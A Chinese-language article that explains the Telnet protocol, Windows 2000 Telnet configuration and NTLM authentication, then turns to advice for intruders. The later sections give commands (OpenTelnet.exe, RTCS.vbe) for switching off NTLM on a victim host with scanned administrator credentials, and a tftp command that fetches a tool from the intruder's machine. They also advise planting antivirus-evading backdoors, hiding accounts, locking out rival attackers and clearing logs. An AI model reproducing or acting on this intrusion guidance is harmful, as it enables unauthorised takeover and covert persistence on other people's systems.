Telnet 命令 详解

一 摘要

Telnet 的应用不仅方便了我们进行远程登录，也给 hacker 们提供了又一种入侵手段和后门，但无论如何，在你尽情享受 Telnet 所带给你的便捷的同时，你是否真正的了解 Telnet 呢？

二 远程登录

Telnet 服务虽然也属于客户机/服务器模型的服务，但它更大的意义在于实现了基于 Telnet 协议的远程登录（远程交互式计算），那么就让我们来认识一下远程登录。

1 远程登陆的基本概念

先来看看什么叫登录：分时系统允许多个用户同时使用一台计算机，为了保证系统的安全和记帐方便，系统要求每个用户有单独的帐号作为登录标识，系统还为每个用户指定了一个口令。用户在使用该系统之前要输入标识和口令，这个过程被称为'登录'。

远程登陆是指用户使用 Telnet 命令，使自己的计算机暂时成为远程主机的一个仿真终端的过程。仿真终端等效于一个非智能的机器，它只负责把用户输入的每个字符传递给主机，再将主机输出的每个信息回显在屏幕上。

2 远程登陆的产生及发展

我们可以先构想一个提供远程文字编辑的服务，这个服务的实现需要一个接受编辑文件请求和数据的服务器以及一个发送此请求的客户机。客户机将建立一个从本地机到服务器的 TCP 连接，当然这需要服务器的应答，然后向服务器发送键入的信息（文件编辑信息），并读取从服务器返回的输出。以上便是一个标准而普通的客户机/服务器模型的服务。

似乎有了客户机/服务器模型的服务，一切远程问题都可以解决了。然而实际并非你想象的那样简单，如果我们仅需要远程编辑文件，那么刚才所构想的服务完

全可以胜任，但假如我们的要求并不是这么简单，我们还想实现远程用户管理，远程数据录入，远程系统维护，想实现一切可以在远程主机上实现的操作，那么我们将需要大量专用的服务器程序并为每一个可计算服务都使用一个服务器进程，随之而来的问题是：远程机器会很快对服务器进程应接不暇，并淹没在进程的海洋里（我们在这里排除最专业化的远程机器）。

那么有没有办法解决呢？当然有，我们可以用远程登录来解决这一切。我们允许用户在远地机器上建立一个登录会话，然后通过执行命令来实现更一般的服务，就像在本地操作一样。这样，我们便可以访问远地系统上所有可用的命令，并且系统设计员不需提供多个专用地服务器程序。

问题发展到这里好像前途一片光明了，用远程登录总应该解决问题了吧，但要实现远程登陆并不简单。不考虑网络设计的计算机系统期望用户只从直接相连的键盘和显示器上登录，在这种机器上增加远程登陆功能需要修改机器的操作系统，这是极其艰巨也是我们尽量避免的。因此我们应该集中力量构造远程登陆服务器软件，虽然这样也是比较困难的。为什么说这样做也比较困难呢？

举个例子来说：一般，操作系统会为一些特殊按键分配特殊的含义，比如本地系统将'Ctrl+C'解释为：'终止当前运行的命令进程'。但假设我们已经运行了远程登陆服务器软件，'Ctrl+C'也有可能无法被传送到远地机器，如果客户机真的将'Ctrl+C'传到了远地机器，那么'Ctrl+C'这个命令有可能不能终止本地的进程，也就是说在这里很可能会产生混乱。而且这仅仅是遇到的难题之一。

但尽管有技术上的困难，系统编程人员还是设法构造了能够应用于大多数操作系统的远程登陆服务器软件，并构造了充当客户机的应用软件。通常，客户机软件取消了除一个键以外的所有键的本地解释，并将这些本地解释相应的转换成远地解释，这就使得客户机软件与远地机器的交互，就如同坐在远程主机面前一样，从而避免了上述所提到的混乱。而那个唯一例外的键，可以使用户回到本地环境。

将远程登陆服务器设计为应用级软件，还有另一个要求，那就是需要操作系统提供对伪终端（pseudo terminal）的支持。我们用伪终端描述操作系统的入口点，它允许像 Telnet 服务器一样的程序向操作系统传送字符，并且使得字符像是来自本地键盘一样。只有使用这样的操作系统，才能将远程登陆服务器设计为应用级软件（比如 Telnet 服务器软件），否则，本地操作系统和远地系统传送将不能识别从对方传送过来的信息（因为它们仅能识别从本地键盘所键入的信息），远程登陆将宣告失败。

将远程登陆服务器设计为应用级软件虽然有其显著的优点：比将代码嵌入操作系统更易修改和控制服务器。但其也有效率不高的缺点（后面的内容将会给予解释），好在用户键入信息的速率不高，这种设计还是可以接受的。

3 远程登录的工作过程

使用 Telnet 协议进行远程登陆时需要满足以下条件：在本的计算机上必须装有包含 Telnet 协议的客户程序；必须知道远程主机的 Ip 地址或域名；必须知道登录标识与口令。

Telnet 远程登录服务分为以下 4 个过程：

1）本地与远程主机建立连接。该过程实际上是建立一个 TCP 连接，用户必须知道远程主机的 Ip 地址或域名；

2）将本地终端上输入的用户名和口令及以后输入的任何命令或字符以 NVT（Net Virtual Terminal）格式传送到远程主机。该过程实际上是从本地主机向远程主机发送一个 IP 数据报；

3）将远程主机输出的 NVT 格式的数据转化为本地所接受的格式送回本地终端，包括输入命令回显和命令执行结果；

4）最后，本地终端对远程主机进行撤消连接。该过程是撤销一个 TCP 连接。

上面的内容只是讨论了远程登陆最基本的东西，其中的复杂和编程人员的艰辛是我们难以想象的，不知道你在舒服的使用 Telnet 的同时，是否想到了这些！

三 Telnet 协议

我们知道 Telnet 服务器软件是我们最常用的远程登录服务器软件，是一种典型的客户机/服务器模型的服务，它应用 Telnet 协议来工作。那么，什么是 Telnet 协议？它都具备哪些特点呢？

1 基本内容

Telnet 协议是 TCP/IP 协议族中的一员，是 Internet 远程登陆服务的标准协议。应用 Telnet 协议能够把本地用户所使用的计算机变成远程主机系统的一个终端。它提供了三种基本服务：

1）Telnet 定义一个网络虚拟终端为远的系统提供一个标准接口。客户机程序不必详细了解远的系统，他们只需构造使用标准接口的程序；

2）Telnet 包括一个允许客户机和服务器协商选项的机制，而且它还提供一组标准选项；

3）Telnet 对称处理连接的两端，即 Telnet 不强迫客户机从键盘输入，也不强迫客户机在屏幕上显示输出。

2 适应异构

为了使多个操作系统间的 Telnet 交互操作成为可能，就必须详细了解异构计算机和操作系统。比如，一些操作系统需要每行文本用 ASCII 回车控制符（CR）结束，另一些系统则需要使用 ASCII 换行符（LF），还有一些系统需要用两个字符的序列回车-换行（CR-LF）；再比如，大多数操作系统为用户提供了一个中断程序运行的快捷键，但这个快捷键在各个系统中有可能不同（一些系统使用 CTRL+C，而另一些系统使用 ESCAPE）。如果不考虑系统间的异构性，那么在本地发出的字符或命令，传送到远地并被远地系统解释后很可能会不准确或者出现错误。因此，Telnet 协议必须解决这个问题。

为了适应异构环境，Telnet 协议定义了数据和命令在 Internet 上的传输方式，此定义被称作网络虚拟终端 NVT（Net Virtual Terminal）。它的应用过程如下：

对于发送的数据：客户机软件把来自用户终端的按键和命令序列转换为 NVT 格式，并发送到服务器，服务器软件将收到的数据和命令，从 NVT 格式转换为远地系统需要的格式；
对于返回的数据：远地服务器将数据从远地机器的格式转换为 NVT 格式，而本地客户机将将接收到的 NVT 格式数据再转换为本地的格式。
对于 NVT 格式的详细定义，有兴趣的朋友可以去查找相关资料。

3 传送远地命令

我们知道绝大多数操作系统都提供各种快捷键来实现相应的控制命令，当用户在本地终端键入这些快捷键的时候，本地系统将执行相应的控制命令，而不把这些快捷键作为输入。那么对于 Telnet 来说，它是用什么来实现控制命令的远地传送呢？

Telnet 同样使用 NVT 来定义如何从客户机将控制功能传送到服务器。我们知道 USASCII 字符集包括 95 个可打印字符和 33 个控制码。当用户从本地键入普通字符时，NVT 将按照其原始含义传送；当用户键入快捷键（组合键）时，NVT 将把它转化为特殊的 ASCII 字符在网络上传送，并在其到达远地机器后转化为相应的控制命令。将正常 ASCII 字符集与控制命令区分主要有两个原因：

1）这种区分意味着 Telnet 具有更大的灵活性：它可在客户机与服务器间传送所有可能的 ASCII 字符以及所有控制功能；

2）这种区分使得客户机可以无二义性的指定信令，而不会产生控制功能与普通字符的混乱。

4 数据流向

上面我们提到过将 Telnet 设计为应用级软件有一个缺点，那就是：效率不高。这是为什么呢？下面给出 Telnet 中的数据流向：

数据信息被用户从本地键盘键入并通过操作系统传到客户机程序，客户机程序将其处理后返回操作系统，并由操作系统经过网络传送到远地机器，远地操作系统将所接收数据传给服务器程序，并经服务器程序再次处理后返回到操作系统上的伪终端入口点，最后，远地操作系统将数据传送到用户正在运行的应用程序，这便是一次完整的输入过程；输出将按照同一通路从服务器传送到客户机。

因为每一次的输入和输出，计算机将切换进程环境好几次，这个开销是很昂贵的。还好用户的键入速率并不算高，这个缺点我们仍然能够接受。

5 强制命令

我们应该考虑到这样一种情况：假设本地用户运行了远地机器的一个无休止循环的错误命令或程序，且此命令或程序已经停止读取输入，那么操作系统的缓冲区可能因此而被占满，如果这样，远地服务器也无法再将数据写入伪终端，并且最终导致停止从 TCP 连接读取数据，TCP 连接的缓冲区最终也会被占满，从而导

致阻止数据流流入此连接。如果以上事情真的发生了，那么本地用户将失去对远地机器的控制。

为了解决此问题，Telnet 协议必须使用外带信令以便强制服务器读取一个控制命令。我们知道 TCP 用紧急数据机制实现外带数据信令，那么 Telnet 只要再附加一个被称为数据标记(date mark)的保留八位组，并通过让 TCP 发送已设置紧急数据比特的报文段通知服务器便可以了，携带紧急数据的报文段将绕过流量控制直接到达服务器。作为对紧急信令的相应，服务器将读取并抛弃所有数据，直到找到了一个数据标记。服务器在遇到了数据标记后将返回正常的处理过程。

6 选项协商

由于 Telnet 两端的机器和操作系统的异构性，使得 Telnet 不可能也不应该严格规定每一个 telnet 连接的详细配置，否则将大大影响 Telnet 的适应异构性。因此，Telnet 采用选项协商机制来解决这一问题。

Telnet 选项的范围很广：一些选项扩充了大方向的功能，而一些选项制涉及一些微小细节。例如：有一个选项可以控制 Telnet 是在半双工还是全双工模式下工作（大方向）；还有一个选项允许远地机器上的服务器决定用户终端类型（小细节）。

Telnet 选项的协商方式也很有意思，它对于每个选项的处理都是对称的，即任何一端都可以发出协商申请；任何一端都可以接受或拒绝这个申请。另外，如果一端试图协商另一端不了解的选项，接受请求的一端可简单的拒绝协商。因此，有可能将更新，更复杂的 Telnet 客户机服务器版本与较老的，不太复杂的版本进行交互操作。如果客户机和服务器都理解新的选项，可能会对交互有所改善。否则，它们将一起转到效率较低但可工作的方式下运行。所有的这些设计，都是为了增强适应异构性，可见 Telnet 的适应异构性对其的应用和发展是多么重要。

上面讨论了一些原理方面的东西，虽然我们在 Telnet 的使用过程中很难接触到这一层面，但我认为了解这些是有意义的，它会给我们带来许多启示。下面让我们来看看 Win2000 的 Telnet 服务。

四 Win2000 的 Telnet 服务

其实从应用层面上，Win2000 的 Telnet 服务并没有什么可说的，绝大部分内容你都可以从 HELP 文件中得到，我在此只是把它稍微整理一下而已。

1 基本配置

Win2000 为我们提供了 Telnet 客户机和服务器程序：Telnet.exe 是客户机程序（Client），tlntsvr.exe 是服务器程序（server），同时它还为我们提供了 Telnet 服务器管理程序 tlntadmn.exe。

Windows 2000 默认安装了 Telnet 服务，但是并没有默认启动。下面给出 HELP 文件中 Telnet 服务的一部分默认设置：

AllowTrustedDomain：是否允许域用户访问。默认值是 1，允许信任域用户访问。可以改为 0: 不允许域用户访问（只允许本地用户）。

DefaultDomain：可以对与该计算机具有信任关系的任何域设置。默认值是"."。

DefaultShell：显示 shell 安装的路径位置。默认值是：
%systemroot%\System32\Cmd.exe /q /k

MaxFailedLogins：在连接终止之前显示尝试登录失败的最大次数。默认是 3。

LoginScript：显示 Telnet 服务器登录脚本的路径位置。默认的位置就是“%systemroot%\System32\login.cmd”，你可以更改脚本内容，这样登录进 Telnet 的欢迎屏幕就不一样了。

NTLM：NTLM 身份验证选项。默认是 2。可以有下面这些值：
0: 不使用 NTLM 身份验证。
1: 先尝试 NTLM 身份验证，如果失败，再使用用户名和密码。
2: 只使用 NTLM 身份验证。

TelnetPort：显示 telnet 服务器侦听 telnet 请求的端口。默认是：23。你也可以更改为其他端口。

以上各项设置你可以使用 tlntadmn.exe（Telnet 服务器管理程序）来进行非常方便的配置，配置后需要重新启动 Telnet 服务。如图 1

2 NTLM

提到了 telnet 就不能不提 NTLM，我想这也是让入侵者最为头痛的一件事，哪怕你获得了管理员帐号和密码，想简单通过 NTLM 也并非易事，况且 win2000 中

的 telnet 默认仅以 NTLM 方式验证身份，这就让我们不得不关注 NTLM 这个东东，那么什么是 NTLM 呢？

早期的 SMB 协议在网络上明文传输口令，后来出现了"LAN Manager Challenge/Response"验证机制，简称 LM，它十分简单以至很容易被破解，微软随后提出了 WindowsNT 挑战/响应验证机制，即 NTLM。现在已经有了更新的 NTLMv2 以及 Kerberos 验证体系。NTLM 工作流程是这样的：

1、客户端首先在本地加密当前用户的密码成为密码散列
2、客户端向服务器发送自己的帐号，这个帐号是没有经过加密的，明文直接传输
3、服务器产生一个 16 位的随机数字发送给客户端，作为一个 challenge（挑战）
4、客户端再用加密后的密码散列来加密这个 challenge ，然后把这个返回给服务器。作为 response（响应）
5、服务器把用户名、给客户端的 challenge 、客户端返回的 response 这三个东西，发送域控制器
6、域控制器用这个用户名在 SAM 密码管理库中找到这个用户的密码散列，然后使用这个密码散列来加密 challenge。
7、域控制器比较两次加密的 challenge ，如果一样，那么认证成功。

从上面的过程我们可以看出，NTLM 是以当前用户的身份向 Telnet 服务器发送登录请求的，而不是用你扫到的对方管理员的帐户和密码登录，显然，你的登录将会失败。举个例子来说，你家的机器名为 A（本地机器），你入侵的机器名为 B（远地机器），你在 A 上的帐户是 xinxin，密码是 1234，你扫到 B 的管理员帐号是 Administrator，密码是 5678，当你想 Telnet 到 B 时，NTLM 将自动以当前用户的帐号和密码作为登录的凭据来进行上面的 7 项操作，即用 xinxin 和 1234，而并非用你扫到的 Administrator 和 5678，且这些都是自动完成的，根本不给你插手的机会，因此你的登录操作将失败。

由于 Telnet 服务器对 NTLM 的使用有 3 个选项，所以当你 Telnet 远地机器时，会显示下面情况中的一种：

1)身份验证选项=0 时

==========

Microsoft (R) Windows (TM) Version 5.00 (Build 2195)

Welcome to Microsoft Telnet Service

Telnet Server Build 5.00.99201.1
login:
password:

\\为 0 时不使用 NTML 身份验证，直接输入用户名和密码，比如你可以输入扫到的 Administrator 和 5678

2)身份验证选项=1 时
==========
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:

\\先尝试 NTLM 身份验证，如果失败，再使用用户名和密码，其实这种方式对于我们来说，与上一种方式没什么区别

3)身份验证选项=2 时
==========
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Server allows NTLM authentication only
Server has closed connection
遗失对主机的连接。
C:\>

\\仔细看看上面的显示，根本没有给你输入用户名和密码的机会，直接断开连接，扫到了密码也是白扫

所以对于入侵者来说，NTLM 是横在我们面前的一座大山，必须要除掉它，一般我们有如下几种方法：

1 通过修改远程注册表更改 telnet 服务器配置，将验证方式从 2 改为 1 或 0；
2 使用 NTLM.exe，上传后直接运行，可将 telnet 服务器验证方式从 2 改为 1；
3 在本地建立扫描到的用户，以此用户身份开启 telnet 客户机并进行远程登录；
4 使用软件，比如 opentelnet.exe（需要管理员权限且开启 IPC 管道）
5 使用脚本，如 RTCS，（需要管理员权限但不依赖 IPC 管道）

基本上是以上的 5 种，其中后两种是我们比较常用的开 telnet 的手法，而且使用方法十分简单，命令如下：

OpenTelnet.exe \\server username password NTLMAuthor telnetport
OpenTelnet.exe \\服务器地址 管理员用户名 密码 验证方式（填 0 或 1） telnet 端口

cscript RTCS.vbe targetIP username password NTLMAuthor telnetport
cscript RTCS.vbe <目标 IP> <管理员用户名> <密码> <验证方式> <tlnet 端口>

五 在 telnet 中该做什么

本来写到上面就想结束了，不过许多朋友都说 telnet 上去后不知道该做什么了，既然这样，那我就抛砖引玉吧，这次不讲具体做法，只是说说思路，什么？为什么不讲具体做法？篇幅不够嘛，以后我会一一解释的。

1 查看系统信息

呵呵，其实就是随处看看，看看他的系统配置和版本（用 type c:\boot.ini 来知道 pro 版或 server 版），看看都装了什么服务或软件（从目录名就可以知道了），看看有什么重要或有趣的文件啦（唉，要是国外的机器，看也看不懂），看看他的用户情况，总之就是尽可能多的了解系统，为一会装后门摸底。

2 使用 tftp 传送文件

想必大家都遇到过在 telnet 中传输文件的问题，因为我们习惯了在 ipc 管道中的文件传输，所以有些朋友喜欢用 net share ipc$ 来打开管道，进而利用 copy 来传输文件。不过这样反而麻烦，既然我们已经得到了 shell，我们可以用 TFPT 命令来完成这一切，什么是 TFTP 呢？

用 TFTP(Trivial File Transfer Protocol)来实现文件的传送是一种基于 UDP 连接的文件传输，一般是使用 Windows 自带的 tftp.exe 和一个 TFTP 服务器端软件构成一个完整的传输结构。它是这样使用的： 首先运行本地的 TFTP Server（比如 tftpd32.exe）软件并保证始终开启直至传输全部完成， 然后在 telnet 中（当然你也可以在其他 shell 中）运行下面的命令：

C:\>tftp –i ip get xinxin.exe c:\abc\xinxin.exe

其中 ip 为你自己机器的 ip，且上传文件要与 TFTP 服务器端在同一目录下，这样你就可以把 xinxin.exe 上传到 c 盘 abc 目录下了（其实是从 tftp 服务器下载来的）

需要指出的是，如果使用代理 IP，你将不能实现与外部网络的文件传送。因为你的代理网关在进行数据封装的时候会将自己的 IP 地址加入到你的数据报中，代替你的内部网络地址，所以在外部网络进行 MAC 寻址时是找不到你这台 TFTP 服务器的。

3 安置后门

安置后门放在第二步好像早了点，如果你入侵还有其他目的，比如以破坏为主，或者是来修改主页的，那么这些事情当然可以在安置后门之前做；如果你只是想得到一只肉鸡，那就没什么可说的了，安后门吧。

后门的种类繁多，也给我们提供了很大的选择余地，能够根据具体情况选择合适的后门的确是一门学问。常用的后门一般有：木马，asp 木马，远程控制软件，克隆帐户，建立并隐藏帐户，telnet，telnet 扩展的 shell，终端服务等。安置一个好的后门通常要注意以下几点：

1 不会被防火墙查杀及阻碍通信：被加入病毒库的后门最好加壳以逃过防火墙，尽量用低端口通信，以免被防火墙屏蔽。

2 最大限度增加隐蔽性：如果你选择远程控制软件，要注意被控端的安装提示和小图标，以及是否同步画面；如果你在帐户上做文章，要尽量保持在 cmd 和用户管理中都不出破绽；如果你选择放木马或 telnet 扩展，要注意文件和进程的隐藏；如果新开了终端服务（入侵前并没有开），一定要该掉 3389 这个显眼的端口，且越低越好。

3 不要当管理员不存在：这是一个大忌，许多朋友在只有默认帐户的机器上建立类似'hacking'的管理员帐户，真是无知者无畏呀。所以安置后门的时候，想想管理员疏忽的地方会在哪里。

4 打补丁

如果想独霸肉鸡，就要会打补丁，要知道对肉鸡的竞争是很激烈的。怎么打补丁呢？这个也要问？想想你是怎么进来的吧。算了，提示一下，除了修补大的漏洞以外（上传官方补丁并运行），也要注意它的共享，ipc$共享（最好都关闭），可疑端口，容易被利用的服务等。不过打补丁也要注意隐蔽性的，不要让管理员发现大的改动。

5 清除日志

可以手动或利用软件，如果不太会就去找相关教材吧，在这里我不详细介绍了。

六 结束语

文章的前部分主要说了一些原理性的东西，后部分则侧重于应用，写的多了难免会有些遗漏。